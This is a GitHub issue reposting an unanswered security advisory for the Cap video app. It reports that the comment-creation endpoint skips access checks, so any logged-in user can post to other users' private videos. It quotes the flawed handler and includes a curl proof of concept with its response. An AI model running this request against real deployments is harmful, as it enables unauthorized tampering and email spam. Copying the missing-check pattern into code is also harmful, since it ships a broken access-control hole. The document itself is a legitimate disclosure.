Skip to content

Authenticated Users Can Post Comments on Private Videos Without Access Permission #1982

Description

@geo-chen

reported on 4 June 2026 https://github.com/CapSoftware/Cap/security/advisories/GHSA-5r3r-v2f5-wqwh - no response:

Summary

The POST /api/video/comment endpoint accepts a videoId in the request body and inserts a comment attributed to the authenticated caller without checking whether the caller has permission to view or interact with the target video. Any authenticated user can inject comments into any other user's private recordings.

Details

The handler at apps/web/app/api/video/comment/route.ts (POST, lines 11-87) authenticates the session to obtain a userId, then immediately inserts the comment into the database:

const userId = user?.id || User.UserId.make("anonymous");

// ... no video access check ...

const newComment = {
  id: Comment.CommentId.make(nanoId()),
  authorId: userId,
  type: type,
  content: content,
  videoId: Video.VideoId.make(videoId),
  timestamp: timestamp || null,
  parentCommentId: parentCommentIdSanitized || null,
  createdAt: new Date(),
  updatedAt: new Date(),
};

await db().insert(comments).values(newComment);

There is no lookup of the video to check public status, ownership, or org/space membership before the insert. The delete path (apps/web/app/api/video/comment/delete/route.ts) correctly checks that the comment belongs to the requesting user (and(eq(comments.id, ...), eq(comments.authorId, user.id))), but the creation path has no equivalent guard.

PoC

Preconditions: User A has a private video (public=false). User B has no membership in User A's organization and cannot view the video at /s/{videoId}.

  1. Authenticate as User B and obtain a session token.

  2. POST to the comment endpoint with User A's private video ID:

curl -s -X POST "http://<host>/api/video/comment" \
  -H "Cookie: next-auth.session-token=<User B token>" \
  -H "Content-Type: application/json" \
  -d '{"type":"text","content":"injected comment","videoId":"vid001vidtest00"}'
  1. Response (200 OK):
{
  "id": "z5ef9735wsv0h7g",
  "authorId": "tcrhw9md2124491",
  "type": "text",
  "content": "injected comment",
  "videoId": "vid001vidtest00",
  "timestamp": null,
  "parentCommentId": null,
  "createdAt": "2026-06-03T22:34:57.420Z",
  "updatedAt": "2026-06-03T22:34:57.420Z",
  "authorName": "Anonymous"
}
  1. The comment is now stored in the database with User B's authorId and will appear if the video is later made public or if the owner views their notifications.

The comment-notification pipeline (apps/web/app/api/email/new-comment/route.ts) is also triggered, meaning the video owner receives a notification email for each injected comment.

Impact

Any authenticated user can write comments into another user's private video without any access to that video. Beyond the authorization bypass itself, this allows an attacker to spam the video owner with comment notification emails (low-cost notification abuse), inject content into a private video's comment thread that will appear if the video is later shared, and probe whether a guessed video ID belongs to a real video (200 vs no such video response).

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions